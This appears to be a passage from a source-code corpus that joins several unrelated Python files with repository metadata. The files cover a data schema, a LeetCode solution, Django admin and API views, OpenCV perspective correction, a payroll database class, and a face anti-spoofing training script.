default=None, validator=attr.validators.optional(attr.validators.instance_of(Betrag))
)
#: Hier kann der Belieferungszeitraum angegeben werden, für den dieser Angebotsteil gilt
lieferzeitraum: Optional[Zeitraum] = attr.ib(
default=None, validator=attr.validators.optional(attr.validators.instance_of(Zeitraum))
)
class AngebotsteilSchema(COMSchema):
"""
Schema for de-/serialization of Angebotsteil.
"""
class_name = Angebotsteil
# required attributes
positionen = fields.List(fields.Nested(AngebotspositionSchema))
# optional attributes
anfrage_subreferenz = fields.Str(load_default=None, data_key="anfrageSubreferenz")
lieferstellenangebotsteil = fields.List(fields.Nested(MarktlokationSchema), load_default=None)
gesamtmengeangebotsteil = fields.Nested(MengeSchema, load_default=None)
gesamtkostenangebotsteil = fields.Nested(BetragSchema, load_default=None)
lieferzeitraum = fields.Nested(ZeitraumSchema, load_default=None)
| 41.37234 | 179 | 0.750579 |
d5220e82bf5048293d79285d2100fa6124ce5c82
| 695 |
py
|
Python
|
Arrays and Strings/LongestSubstringWithoutRepeating.py
|
dileeppandey/hello-interview
|
78f6cf4e2da4106fd07f4bd86247026396075c69
|
[
"MIT"
] | null | null | null |
Arrays and Strings/LongestSubstringWithoutRepeating.py
|
dileeppandey/hello-interview
|
78f6cf4e2da4106fd07f4bd86247026396075c69
|
[
"MIT"
] | null | null | null |
Arrays and Strings/LongestSubstringWithoutRepeating.py
|
dileeppandey/hello-interview
|
78f6cf4e2da4106fd07f4bd86247026396075c69
|
[
"MIT"
] | 1 |
2020-02-12T16:57:46.000Z
|
2020-02-12T16:57:46.000Z
|
"""
https://leetcode.com/problems/longest-substring-without-repeating-characters/
Given a string, find the length of the longest substring without repeating characters.
"""
class Solution:
def lengthOfLongestSubstring(self, s):
longest = 0
longest_substr = ""
for ch in s:
if ch not in longest_substr:
longest_substr += ch
else:
if len(longest_substr) > longest:
longest = len(longest_substr)
longest_substr = longest_substr[(longest_substr.find(ch)+1):] + ch
return max(longest, len(longest_substr))
s=Solution()
print(s.lengthOfLongestSubstring("umvejcuuk"))
| 27.8 | 86 | 0.630216 |
d5675b3789a7238a94e6d0ec1c781776af8848b8
| 3,737 |
py
|
Python
|
products/admin.py
|
silver-whale-enterprises-llc/amzproduzer
|
25e63f64b0ef09241475c72af9a710dcb7d9e926
|
[
"Apache-2.0"
] | 1 |
2019-07-22T14:03:11.000Z
|
2019-07-22T14:03:11.000Z
|
products/admin.py
|
silver-whale-enterprises-llc/amzproduzer
|
25e63f64b0ef09241475c72af9a710dcb7d9e926
|
[
"Apache-2.0"
] | null | null | null |
products/admin.py
|
silver-whale-enterprises-llc/amzproduzer
|
25e63f64b0ef09241475c72af9a710dcb7d9e926
|
[
"Apache-2.0"
] | null | null | null |
import csv
from django.contrib import admin
from django.forms import ModelForm
from django.http import HttpRequest
from products.models import AmazonCategory, AmazonProductListing
from products.tasks import process_inventory_upload
from products.utils import find_price_col_index, save_status, find_identifier_col_index, create_or_update_product
from .models import Supplier, Product, InventoryUpload
class InventoryUploadAdmin(admin.ModelAdmin):
list_display = ('id', 'file', 'supplier', 'total_products', 'progress', 'status', 'failed_analysis_reason')
fieldsets = [
(None, {'fields': ['supplier', 'file']}),
('File Info', {'fields': ['price_col', 'identifier_col', 'identifier_type']}),
]
def progress(self, instance: InventoryUpload):
return instance.progress
def save_model(self, request: HttpRequest, obj: InventoryUpload, form: ModelForm, change: bool):
super().save_model(request, obj, form, change)
if change:
return
try:
with open(obj.file.name, "r") as read_file:
reader = csv.reader(read_file, delimiter=',')
header = next(reader)
price_col = find_price_col_index(obj, header)
if price_col < 0 or price_col >= len(header):
save_status(obj, InventoryUpload.FAILED,
f'Price column value "{obj.price_col}" not found in file!')
return
identifier_col = find_identifier_col_index(obj, header)
if identifier_col < 0 or identifier_col >= len(header):
save_status(obj, InventoryUpload.FAILED,
f'Identifier column value "{obj.identifier_col}" not found in file!')
return
for line_no, line in enumerate(list(reader)):
if line_no == 0:
pass # skip header
create_or_update_product(obj, line, price_col, identifier_col)
obj.total_products = obj.products.all().count()
if obj.total_products <= 1:
save_status(obj, InventoryUpload.FAILED, 'File is empty. No products found!')
else:
obj.save()
except Exception as e:
save_status(obj, InventoryUpload.FAILED, str(e))
process_inventory_upload.delay(obj.id)
class ProductAdmin(admin.ModelAdmin):
list_display = (
'upc',
'name',
'supplier',
'status',
'failed_analysis_reason'
)
list_filter = ('supplier__name', 'status')
class AmazonProductListingAdmin(admin.ModelAdmin):
list_display = (
'asin',
'name',
'profit',
'roi',
'three_month_supply_cost',
'three_month_supply_amount',
'sales_estimate_current',
'review_count',
'sold_by_amazon',
'total_cost',
'buy_box',
'buy_box_avg90',
'buy_box_min',
'buy_box_max',
'fba_sellers_count',
'review_count_last30',
'review_count_avg90',
'sales_rank',
'sales_rank_avg90',
'root_category',
)
list_filter = ('sold_by_amazon',)
class AmazonCategoryAdmin(admin.ModelAdmin):
list_display = (
'name',
'category_id',
'products_count',
'highest_rank',
)
list_filter = ('sales_rank__name',)
admin.site.register(Supplier)
admin.site.register(Product, ProductAdmin)
admin.site.register(InventoryUpload, InventoryUploadAdmin)
admin.site.register(AmazonCategory, AmazonCategoryAdmin)
admin.site.register(AmazonProductListing, AmazonProductListingAdmin)
| 32.780702 | 113 | 0.613059 |
63456d2b7e536035a7766de0ff9f77efbb0f499a
| 357 |
py
|
Python
|
utils.py
|
cyborg00222/kowalsky.at
|
090778863625b67bce942fe85716941c3bf75a4b
|
[
"MIT"
] | null | null | null |
utils.py
|
cyborg00222/kowalsky.at
|
090778863625b67bce942fe85716941c3bf75a4b
|
[
"MIT"
] | null | null | null |
utils.py
|
cyborg00222/kowalsky.at
|
090778863625b67bce942fe85716941c3bf75a4b
|
[
"MIT"
] | null | null | null |
# Peter Kowalsky - 10.06.19
import os
def check_if_file_exists(path):
exists = os.path.isfile(path)
if exists:
return 1
else:
return 0
def list_all_files_in_dir(path, type):
files = []
# r=root, d=directories, f = files
for r, d, f in os.walk(path):
for file in f:
if type in file:
files.append(file)
return files
| 17.85 | 38 | 0.638655 |
7f29ba6ebc54ec3ef0a767a7c315061f9ee3a3ff
| 8,224 |
py
|
Python
|
year_3/comppi_1/managers/views.py
|
honchardev/KPI
|
f8425681857c02a67127ffb05c0af0563a8473e1
|
[
"MIT"
] | null | null | null |
year_3/comppi_1/managers/views.py
|
honchardev/KPI
|
f8425681857c02a67127ffb05c0af0563a8473e1
|
[
"MIT"
] | 21 |
2020-03-24T16:26:04.000Z
|
2022-02-18T15:56:16.000Z
|
year_3/comppi_1/managers/views.py
|
honchardev/KPI
|
f8425681857c02a67127ffb05c0af0563a8473e1
|
[
"MIT"
] | null | null | null |
import json
from django.contrib.auth import authenticate, login, logout
from django.contrib.auth.models import User
from django.http import JsonResponse
from django.shortcuts import get_object_or_404
from django.utils.decorators import method_decorator
from django.views.decorators.csrf import csrf_exempt
from .models import ManagersModelsJSONEncoder
from .models import PubOrgAdmin, PubOrgRegistrant
@method_decorator(csrf_exempt, name='dispatch')
def apilogin(req):
if req.method == 'POST':
req_params = req.body.decode("utf-8")
login_fields = json.loads(req_params)
username = login_fields.get('username')
password = login_fields.get('password')
auth_user = authenticate(username=username, password=password)
if auth_user is not None:
login(req, auth_user)
json_positive_response = {'status': True}
return JsonResponse(json_positive_response)
json_negative_response = {'status': False}
return JsonResponse(json_negative_response)
json_err_response = {'status': 405, 'descr': 'method not allowed'}
return JsonResponse(json_err_response)
@method_decorator(csrf_exempt, name='dispatch')
def apilogout(req):
if req.method == 'POST':
if req.user.is_authenticated:
saved_user = req.user
else:
saved_user = None
logout(req)
json_logout_state_response = {
'logged_out_user': saved_user,
'logged_out': not req.user.is_authenticated
}
return JsonResponse(json_logout_state_response, safe=False, encoder=ManagersModelsJSONEncoder)
json_err_response = {'status': 405, 'descr': 'method not allowed'}
return JsonResponse(json_err_response)
@method_decorator(csrf_exempt, name='dispatch')
def apimanageadmin(req):
try:
current_user_instance = req.user
current_admin_instance = get_object_or_404(PubOrgAdmin, user=req.user.id)
except Exception as e:
json_err_response = {'status': 404, 'descr': 'Some exception: {0}'.format(e)}
return JsonResponse(json_err_response)
if req.method == 'GET':
json_get_response = {
'user_inst': current_user_instance,
'admin_inst': current_admin_instance
}
return JsonResponse(json_get_response, safe=False, encoder=ManagersModelsJSONEncoder)
elif req.method == 'POST':
req_params = req.body.decode("utf-8")
post_fields = json.loads(req_params)
username = post_fields.get('username')
password = post_fields.get('password')
doc_code = post_fields.get('doc_code')
credentials = post_fields.get('credentials')
# Create and save User instance.
new_user_inst = User(username=username, password=password)
new_user_inst.save()
# Create and save PubOrgAdmin instance.
new_puborgadmin_inst = PubOrgAdmin(
user=new_user_inst.pk,
doc_code=doc_code,
credentials=credentials
)
new_puborgadmin_inst.save()
# Send resulting json response.
json_post_response = {
'new_user_inst': new_user_inst,
'new_admin_inst': new_puborgadmin_inst,
}
return JsonResponse(json_post_response, safe=False, encoder=ManagersModelsJSONEncoder)
elif req.method == 'PUT':
req_params = req.body.decode("utf-8")
put_fields = json.loads(req_params)
admin_id = put_fields.get('admin_id')
doc_code = put_fields.get('doc_code')
credentials = put_fields.get('credentials')
# Update and save PubOrgAdmin instance.
admin_to_update = PubOrgAdmin.objects.get(pk=admin_id)
admin_to_update.doc_code = doc_code
admin_to_update.credentials = credentials
admin_to_update.save()
# Send resulting json response.
json_put_response = {
'upd_admin_inst': admin_to_update
}
return JsonResponse(json_put_response, safe=False, encoder=ManagersModelsJSONEncoder)
elif req.method == 'DELETE':
req_params = req.body.decode("utf-8")
delete_fields = json.loads(req_params)
admin_id = delete_fields.get('admin_id')
admin_instance = get_object_or_404(PubOrgAdmin, pk=admin_id)
admin_user_instance = get_object_or_404(User, pk=admin_instance.user.pk)
admin_instance.delete()
admin_user_instance.delete()
json_delete_response = {
'deleted_id': admin_id,
}
return JsonResponse(json_delete_response)
json_err_response = {'status': 405, 'descr': 'method not allowed'}
return JsonResponse(json_err_response)
@method_decorator(csrf_exempt, name='dispatch')
def apimanageregistrant(req):
try:
current_user_instance = req.user
current_registrant_instance = get_object_or_404(PubOrgRegistrant, user=req.user.id)
except Exception as e:
json_err_response = {'status': 404, 'descr': 'Some exception: {0}'.format(e)}
return JsonResponse(json_err_response)
if req.method == 'GET':
json_get_response = {
'user_inst': current_user_instance,
'registrant_inst': current_registrant_instance
}
return JsonResponse(json_get_response, safe=False, encoder=ManagersModelsJSONEncoder)
elif req.method == 'POST':
req_params = req.body.decode("utf-8")
post_fields = json.loads(req_params)
username = post_fields.get('username')
password = post_fields.get('password')
hired_by = post_fields.get('hired_by')
hired_order_code = post_fields.get('hired_order_code')
doc_code = post_fields.get('doc_code')
credentials = post_fields.get('credentials')
# Create and save User instance.
new_user_inst = User(username=username, password=password)
new_user_inst.save()
# Create and save PubOrgRegistrant instance.
new_puborgregistrant_inst = PubOrgRegistrant(
user=new_user_inst.pk,
hired_by=hired_by,
hired_order_code=hired_order_code,
doc_code=doc_code,
credentials=credentials
)
new_puborgregistrant_inst.save()
# Send resulting json response.
json_post_response = {
'new_user_inst': new_user_inst,
'new_registrant_inst': new_puborgregistrant_inst,
}
return JsonResponse(json_post_response, safe=False, encoder=ManagersModelsJSONEncoder)
elif req.method == 'PUT':
req_params = req.body.decode("utf-8")
put_fields = json.loads(req_params)
registrant_id = put_fields.get('registrant_id')
hired_by = put_fields.get('hired_by')
hired_order_code = put_fields.get('hired_order_code')
doc_code = put_fields.get('doc_code')
credentials = put_fields.get('credentials')
# Update and save PubOrgRegistrant instance.
registrant_to_update = PubOrgRegistrant.objects.get(pk=registrant_id)
registrant_to_update.hired_by = hired_by
registrant_to_update.hired_order_code = hired_order_code
registrant_to_update.doc_code = doc_code
registrant_to_update.credentials = credentials
registrant_to_update.save()
# Send resulting json response.
json_put_response = {
'upd_registrant_inst': registrant_to_update
}
return JsonResponse(json_put_response, safe=False, encoder=ManagersModelsJSONEncoder)
elif req.method == 'DELETE':
req_params = req.body.decode("utf-8")
delete_fields = json.loads(req_params)
registrant_id = delete_fields.get('registrant_id')
registrant_instance = get_object_or_404(PubOrgRegistrant, pk=registrant_id)
registrant_user_instance = get_object_or_404(User, pk=registrant_instance.user.pk)
registrant_instance.delete()
registrant_user_instance.delete()
json_delete_response = {
'deleted_id': registrant_id,
}
return JsonResponse(json_delete_response)
json_err_response = {'status': 405, 'descr': 'method not allowed'}
return JsonResponse(json_err_response)
| 42.174359 | 102 | 0.678867 |
7f4616f095924fa5eac33a11190968db43cccd4e
| 261 |
py
|
Python
|
python/decorator/function_transform_with_decorator.py
|
zeroam/TIL
|
43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1
|
[
"MIT"
] | null | null | null |
python/decorator/function_transform_with_decorator.py
|
zeroam/TIL
|
43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1
|
[
"MIT"
] | null | null | null |
python/decorator/function_transform_with_decorator.py
|
zeroam/TIL
|
43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1
|
[
"MIT"
] | null | null | null |
def debug_transformer(func):
def wrapper():
print(f'Function `{func.__name__}` called')
func()
print(f'Function `{func.__name__}` finished')
return wrapper
@debug_transformer
def walkout():
print('Bye Felicia')
walkout()
| 17.4 | 53 | 0.636015 |
7fa63fc07d4fb1ef716494e877960f58b0ca18d6
| 1,935 |
py
|
Python
|
year_3/databases_sem1/lab2/rdmslab2/api/dbmodels/payrolls.py
|
honchardev/KPI
|
f8425681857c02a67127ffb05c0af0563a8473e1
|
[
"MIT"
] | null | null | null |
year_3/databases_sem1/lab2/rdmslab2/api/dbmodels/payrolls.py
|
honchardev/KPI
|
f8425681857c02a67127ffb05c0af0563a8473e1
|
[
"MIT"
] | 21 |
2020-03-24T16:26:04.000Z
|
2022-02-18T15:56:16.000Z
|
year_3/databases_sem1/lab2/rdmslab2/api/dbmodels/payrolls.py
|
honchardev/KPI
|
f8425681857c02a67127ffb05c0af0563a8473e1
|
[
"MIT"
] | null | null | null |
from api.models import Payroll
class Payrolls(object):
def __init__(self, cursor):
"""
:param cursor: MySQLdb.cursor.Cursor
"""
self.cursor = cursor
cursor.execute('SET NAMES utf8;')
cursor.execute('SET CHARACTER SET utf8;')
cursor.execute('SET character_set_connection=utf8;')
@staticmethod
def _map_payroll(payroll_db_data):
return Payroll(*payroll_db_data)
def readall(self):
self.cursor.execute(
"""
SELECT
Id, EmployeeId, PaymentId, ProjectId, PayrollDate
FROM
payrolls
"""
)
payrolls = self.cursor.fetchall()
mapped = map(self._map_payroll, payrolls)
return list(mapped)
def add(self, payroll):
params = (
payroll.employee_id,
payroll.payment_id,
payroll.project_id,
payroll.payroll_date,
)
self.cursor.execute(
"""
INSERT
INTO payrolls
(EmployeeId, PaymentId, ProjectId, PayrollDate)
VALUES
(%s, %s, %s, %s)
""",
params
)
def remove(self, payroll_id):
self.cursor.execute(
"""
DELETE
FROM payrolls
WHERE Id=%s
""",
[payroll_id]
)
def update(self, payroll, payroll_id):
params = (
payroll.employee_id,
payroll.payment_id,
payroll.project_id,
payroll.payroll_date,
payroll_id
)
self.cursor.execute(
"""
UPDATE
payrolls
SET
EmployeeId=%s,
PaymentId=%s,
ProjectId=%s,
PayrollDate=%s
WHERE
payrolls.Id=%s
""",
params
)
| 23.888889 | 61 | 0.477519 |
63f0dcedfc927c0b523f3a53c332513bb2498eb2
| 8,977 |
py
|
Python
|
lib/util/ImageProcessing/homopgrahy.py
|
Thukor/MazeSolver
|
c953e193ce27a7348e8ec9c5592144426dfce193
|
[
"MIT"
] | 5 |
2018-02-06T22:48:34.000Z
|
2020-01-07T20:19:05.000Z
|
lib/util/ImageProcessing/homopgrahy.py
|
Thukor/MazeSolver
|
c953e193ce27a7348e8ec9c5592144426dfce193
|
[
"MIT"
] | 11 |
2018-01-31T21:47:49.000Z
|
2018-04-21T16:42:52.000Z
|
lib/util/ImageProcessing/homopgrahy.py
|
Thukor/MazeSolver
|
c953e193ce27a7348e8ec9c5592144426dfce193
|
[
"MIT"
] | 2 |
2020-06-18T05:40:03.000Z
|
2022-02-02T03:46:30.000Z
|
import cv2
import numpy as np
import imutils
from collections import defaultdict
# mouse callback function
def define_points(target_img):
corners = []
refPt = []
def draw_circle(event,x,y,flags,param):
global refPt
if event == cv2.EVENT_LBUTTONDBLCLK:
cv2.circle(param,(x,y),5,(255,0,0),-1)
refPt = [x,y]
print(type(refPt))
corners.append(refPt)
cv2.namedWindow('image')
cv2.setMouseCallback('image',draw_circle, target_img)
while(1):
cv2.imshow('image',target_img)
k = cv2.waitKey(20) & 0xFF
# corners.append(refPt)
if k == 27:
break
cv2.destroyAllWindows()
print (corners)
new_corners = np.array(corners)
return new_corners
def order_points(pts):
# initialzie a list of coordinates that will be ordered
# such that the first entry in the list is the top-left,
# the second entry is the top-right, the third is the
# bottom-right, and the fourth is the bottom-left
rect = np.zeros((4, 2), dtype = "float32")
# the top-left point will have the smallest sum, whereas
# the bottom-right point will have the largest sum
s = pts.sum(axis = 1)
rect[0] = pts[np.argmin(s)]
rect[2] = pts[np.argmax(s)]
# now, compute the difference between the points, the
# top-right point will have the smallest difference,
# whereas the bottom-left will have the largest difference
diff = np.diff(pts, axis = 1)
rect[1] = pts[np.argmin(diff)]
rect[3] = pts[np.argmax(diff)]
# return the ordered coordinates
return rect
def segment_by_angle_kmeans(lines,k=2, **kwargs):
"""Groups lines based on angle with k-means.
Uses k-means on the coordinates of the angle on the unit circle
to segment `k` angles inside `lines`.
"""
# Define criteria = (type, max_iter, epsilon)
default_criteria_type = cv2.TERM_CRITERIA_EPS + cv2.TERM_CRITERIA_MAX_ITER
criteria = kwargs.get('criteria', (default_criteria_type, 10, 1.0))
flags = kwargs.get('flags', cv2.KMEANS_RANDOM_CENTERS)
attempts = kwargs.get('attempts', 10)
# returns angles in [0, pi] in radians
angles = np.array([line[0][1] for line in lines])
# multiply the angles by two and find coordinates of that angle
pts = np.array([[np.cos(2*angle), np.sin(2*angle)]
for angle in angles], dtype=np.float32)
# run kmeans on the coords
labels, centers = cv2.kmeans(pts, k, None, criteria, attempts, flags)[1:]
labels = labels.reshape(-1) # transpose to row vec
# segment lines based on their kmeans label
segmented = defaultdict(list)
for i, line in zip(range(len(lines)), lines):
segmented[labels[i]].append(line)
segmented = list(segmented.values())
return segmented
def intersection(line1, line2):
"""Finds the intersection of two lines given in Hesse normal form.
Returns closest integer pixel locations.
See https://stackoverflow.com/a/383527/5087436
"""
rho1, theta1 = line1[0]
rho2, theta2 = line2[0]
A = np.array([
[np.cos(theta1), np.sin(theta1)],
[np.cos(theta2), np.sin(theta2)]
])
b = np.array([[rho1], [rho2]])
x0, y0 = np.linalg.solve(A, b)
x0, y0 = int(np.round(x0)), int(np.round(y0))
return [[x0, y0]]
def segmented_intersections(lines):
"""Finds the intersections between groups of lines."""
intersections = []
for i, group in enumerate(lines[:-1]):
for next_group in lines[i+1:]:
for line1 in group:
for line2 in next_group:
intersections.append(intersection(line1, line2))
return intersections
def isEqual(l1, l2):
length1 = sqrtf((l1[2] - l1[0])*(l1[2] - l1[0]) + (l1[3] - l1[1])*(l1[3] - l1[1]))
length2 = sqrtf((l2[2] - l2[0])*(l2[2] - l2[0]) + (l2[3] - l2[1])*(l2[3] - l2[1]))
product = (l1[2] - l1[0])*(l2[2] - l2[0]) + (l1[3] - l1[1])*(l2[3] - l2[1])
if (fabs(product / (length1 * length2)) < cos(CV_PI / 30)):
return false
mx1 = (l1[0] + l1[2]) * 0.5
mx2 = (l2[0] + l2[2]) * 0.5
my1 = (l1[1] + l1[3]) * 0.5
my2 = (l2[1] + l2[3]) * 0.5
dist = sqrtf((mx1 - mx2)*(mx1 - mx2) + (my1 - my2)*(my1 - my2))
if (dist > max(length1, length2) * 0.5):
return false
return true
def birdseye_correction(img = "angled.jpg"):
img = cv2.imread(img,0)
resized = imutils.resize(img, height = 1000)
copy = resized.copy()
rect = order_points(define_points(copy))
print (rect)
(tl, tr, br, bl) = rect
# compute the width of the new image, which will be the
# maximum distance between bottom-right and bottom-left
# x-coordiates or the top-right and top-left x-coordinates
widthA = np.sqrt(((br[0]-bl[0])**2)+((br[1]-bl[1])**2))
widthB = np.sqrt(((tr[0]-tl[0])**2)+((tr[1]-tl[1])**2))
maxWidth = max(int(widthA), int(widthB))
# compute the height of the new image, which will be the
# maximum distance between the top-right and bottom-right
# y-coordinates or the top-left and bottom-left y-coordinates
heightA = np.sqrt(((tr[0]-br[0])**2)+((tr[1]-br[1])**2))
heightB = np.sqrt(((tl[0]-bl[0])**2)+((tl[1]-bl[1])**2))
maxHeight = max(int(heightA), int(heightB))
dst = np.array([[0, 0], \
[maxWidth - 1, 0], \
[maxWidth - 1, maxHeight - 1], \
[0, maxHeight - 1]], dtype = "float32")
# compute the perspective transform matrix and then apply it
M = cv2.getPerspectiveTransform(rect, dst)
warped = cv2.warpPerspective(resized, M, (maxWidth, maxHeight))
cv2.imshow("warped", warped)
cv2.waitKey(0)
cv2.destroyAllWindows()
# gray = cv2.cvtColor(warped, cv2.COLOR_BGR2GRAY)
blurred_img = cv2.GaussianBlur(warped,(3,3),0)
binary = cv2.adaptiveThreshold(blurred_img,255,cv2.ADAPTIVE_THRESH_GAUSSIAN_C,\
cv2.THRESH_BINARY,31,2)
# noise removal
kernel = np.ones((3,3),np.uint8)
opening = cv2.morphologyEx(binary,cv2.MORPH_OPEN,kernel, iterations = 2)
# Apply edge detection method on the image
edges = cv2.Canny(warped,50,150,apertureSize = 3)
#
cv2.imshow("edges", edges)
cv2.waitKey(0)
cv2.destroyAllWindows()
# This returns an array of r and theta values
lines = cv2.HoughLines(edges,1,np.pi/180, 140)
# The below for loop runs till r and theta values
# are in the range of the 2d array
for line in lines:
for r,theta in line:
# Stores the value of cos(theta) in a
a = np.cos(theta)
# Stores the value of sin(theta) in b
b = np.sin(theta)
# x0 stores the value rcos(theta)
x0 = a*r
# y0 stores the value rsin(theta)
y0 = b*r
# x1 stores the rounded off value of (rcos(theta)-1000sin(theta))
x1 = int(x0 + 1000*(-b))
# y1 stores the rounded off value of (rsin(theta)+1000cos(theta))
y1 = int(y0 + 1000*(a))
# x2 stores the rounded off value of (rcos(theta)+1000sin(theta))
x2 = int(x0 - 1000*(-b))
# y2 stores the rounded off value of (rsin(theta)-1000cos(theta))
y2 = int(y0 - 1000*(a))
# cv2.line draws a line in img from the point(x1,y1) to (x2,y2).
# (0,0,255) denotes the colour of the line to be
# In this case, it is red.
cv2.line(warped,(x1,y1), (x2,y2), (0,0,255),2)
# labels = []
# num_lines = partition(lines, labels, isEqual)
# define criteria, number of clusters(K) and apply kmeans()
# criteria = (cv2.TERM_CRITERIA_EPS + cv2.TERM_CRITERIA_MAX_ITER, 54, 1.0)
# K = 54
# ret,label,center=cv2.kmeans(lines,K,None,criteria,10,cv2.KMEANS_RANDOM_CENTERS)
#
# # Now convert back into uint8, and make original image
# center = np.uint8(center)
# res = center[label.flatten()]
# print(res.shape, img.shape)
# # res2 = res.reshape((img.shape))
# cv2.imshow('res',res)
# res2 = cv2.resize(res, warped.shape);
# cv2.imshow('img', img)
# cv2.imshow('res2',res2)
# cv2.waitKey(0)
# cv2.destroyAllWindows()
#
cv2.imwrite("unclustered_lines.jpg", warped)
#
cv2.imshow("lines", warped)
cv2.waitKey(0)
cv2.destroyAllWindows()
# segmented = segment_by_angle_kmeans(lines)
# intersections = segmented_intersections(segmented)
# print(intersections)
# draw the intersection points
# intersectsimg = img.copy()
# for cx, cy in zip(intersections):
# cx = np.round(cx).astype(int)
# cy = np.round(cy).astype(int)
# color = np.random.randint(0,255,3).tolist() # random colors
# cv2.circle(intersectsimg, (cx, cy), radius=2, color=color, thickness=-1) # -1: filled circle
#
#
# cv2.imshow("intersections", intersectionimg)
# cv2.waitKey(0)
# cv2.destroyAllWindows()
def main():
birdseye_correction()
if __name__ == "__main__":
main()
| 33.003676 | 102 | 0.614236 |
c3c622cc0704f66c0ca320f04b393a4ce95e43c7
| 13,856 |
py
|
Python
|
addition_module/DSDG/DUM/train.py
|
weihaoxie/FaceX-Zoo
|
db0b087e4f4d28152e172d6c8d3767a8870733b4
|
[
"Apache-2.0"
] | 1 |
2022-02-07T02:03:37.000Z
|
2022-02-07T02:03:37.000Z
|
addition_module/DSDG/DUM/train.py
|
weihaoxie/FaceX-Zoo
|
db0b087e4f4d28152e172d6c8d3767a8870733b4
|
[
"Apache-2.0"
] | null | null | null |
addition_module/DSDG/DUM/train.py
|
weihaoxie/FaceX-Zoo
|
db0b087e4f4d28152e172d6c8d3767a8870733b4
|
[
"Apache-2.0"
] | null | null | null |
from __future__ import print_function, division
import torch
import matplotlib.pyplot as plt
import argparse, os
import numpy as np
from torch.utils.data import DataLoader
from torchvision import transforms
from models.CDCNs_u import Conv2d_cd, CDCN_u
from Load_OULUNPUcrop_train import Spoofing_train_g, SeparateBatchSampler, Normaliztion, ToTensor, \
RandomHorizontalFlip, Cutout, RandomErasing
from Load_OULUNPUcrop_valtest import Spoofing_valtest, Normaliztion_valtest, ToTensor_valtest
import torch.nn.functional as F
import torch.nn as nn
import torch.optim as optim
from utils import AvgrageMeter, performances
# Dataset root
train_image_dir = '/export2/home/wht/oulu_img_crop/train_file_flod/'
val_image_dir = '/export2/home/wht/oulu_img_crop/dev_file_flod/'
test_image_dir = '/export2/home/wht/oulu_img_crop/test_file_flod/'
train_map_dir = '/export2/home/wht/oulu_img_crop/train_depth_flod/'
val_map_dir = '/export2/home/wht/oulu_img_crop/dev_depth_flod/'
test_map_dir = '/export2/home/wht/oulu_img_crop/test_depth_flod/'
train_list = '/export2/home/wht/oulu_img_crop/protocols/Protocol_1/Train_g.txt'
val_list = '/export2/home/wht/oulu_img_crop/protocols/Protocol_1/Dev.txt'
test_list = '/export2/home/wht/oulu_img_crop/protocols/Protocol_1/Test.txt'
def contrast_depth_conv(input):
''' compute contrast depth in both of (out, label) '''
'''
input 32x32
output 8x32x32
'''
kernel_filter_list = [
[[1, 0, 0], [0, -1, 0], [0, 0, 0]], [[0, 1, 0], [0, -1, 0], [0, 0, 0]], [[0, 0, 1], [0, -1, 0], [0, 0, 0]],
[[0, 0, 0], [1, -1, 0], [0, 0, 0]], [[0, 0, 0], [0, -1, 1], [0, 0, 0]],
[[0, 0, 0], [0, -1, 0], [1, 0, 0]], [[0, 0, 0], [0, -1, 0], [0, 1, 0]], [[0, 0, 0], [0, -1, 0], [0, 0, 1]]
]
kernel_filter = np.array(kernel_filter_list, np.float32)
kernel_filter = torch.from_numpy(kernel_filter.astype(np.float)).float().cuda()
# weights (in_channel, out_channel, kernel, kernel)
kernel_filter = kernel_filter.unsqueeze(dim=1)
input = input.unsqueeze(dim=1).expand(input.shape[0], 8, input.shape[1], input.shape[2])
contrast_depth = F.conv2d(input, weight=kernel_filter, groups=8)
return contrast_depth
class Contrast_depth_loss(nn.Module):
def __init__(self):
super(Contrast_depth_loss, self).__init__()
return
def forward(self, out, label):
contrast_out = contrast_depth_conv(out)
contrast_label = contrast_depth_conv(label)
criterion_MSE = nn.MSELoss().cuda()
loss = criterion_MSE(contrast_out, contrast_label)
return loss
def train_test():
isExists = os.path.exists(args.log)
if not isExists:
os.makedirs(args.log)
log_file = open(args.log + '/' + args.log + '_log_P1.txt', 'a')
log_file.write('Oulu-NPU, P1:\n ')
log_file.flush()
print('train from scratch!\n')
log_file.write('train from scratch!\n')
log_file.write('lr:%.6f, lamda_kl:%.6f , batchsize:%d\n' % (args.lr, args.kl_lambda, args.batchsize))
log_file.flush()
model = CDCN_u(basic_conv=Conv2d_cd, theta=0.7)
# model = ResNet18_u()
model = model.cuda()
model = torch.nn.DataParallel(model)
lr = args.lr
optimizer = optim.Adam(model.parameters(), lr=lr, weight_decay=0.00005)
scheduler = optim.lr_scheduler.StepLR(optimizer, step_size=args.step_size, gamma=args.gamma)
print(model)
criterion_absolute_loss = nn.MSELoss().cuda()
criterion_contrastive_loss = Contrast_depth_loss().cuda()
for epoch in range(args.epochs):
if (epoch + 1) % args.step_size == 0:
lr *= args.gamma
loss_absolute_real = AvgrageMeter()
loss_absolute_fake = AvgrageMeter()
loss_contra_real = AvgrageMeter()
loss_contra_fake = AvgrageMeter()
loss_kl_real = AvgrageMeter()
loss_kl_fake = AvgrageMeter()
###########################################
''' train '''
###########################################
model.train()
# load random 16-frame clip data every epoch
train_data = Spoofing_train_g(train_list, train_image_dir, train_map_dir,
transform=transforms.Compose(
[RandomErasing(), RandomHorizontalFlip(), ToTensor(), Cutout(),
Normaliztion()]))
train_real_idx, train_fake_idx = train_data.get_idx()
batch_sampler = SeparateBatchSampler(train_real_idx, train_fake_idx, batch_size=args.batchsize, ratio=args.ratio)
dataloader_train = DataLoader(train_data, num_workers=8, batch_sampler=batch_sampler)
for i, sample_batched in enumerate(dataloader_train):
# get the inputs
inputs, map_label, spoof_label = sample_batched['image_x'].cuda(), sample_batched['map_x'].cuda(), \
sample_batched['spoofing_label'].cuda()
optimizer.zero_grad()
# forward + backward + optimize
mu, logvar, map_x, x_concat, x_Block1, x_Block2, x_Block3, x_input = model(inputs)
mu_real = mu[:int(args.batchsize * args.ratio), :, :]
logvar_real = logvar[:int(args.batchsize * args.ratio), :, :]
map_x_real = map_x[:int(args.batchsize * args.ratio), :, :]
map_label_real = map_label[:int(args.batchsize * args.ratio), :, :]
absolute_loss_real = criterion_absolute_loss(map_x_real, map_label_real)
contrastive_loss_real = criterion_contrastive_loss(map_x_real, map_label_real)
kl_loss_real = -(1 + logvar_real - (mu_real - map_label_real).pow(2) - logvar_real.exp()) / 2
kl_loss_real = kl_loss_real.sum(dim=1).sum(dim=1).mean()
kl_loss_real = args.kl_lambda * kl_loss_real
mu_fake = mu[int(args.batchsize * args.ratio):, :, :]
logvar_fake = logvar[int(args.batchsize * args.ratio):, :, :]
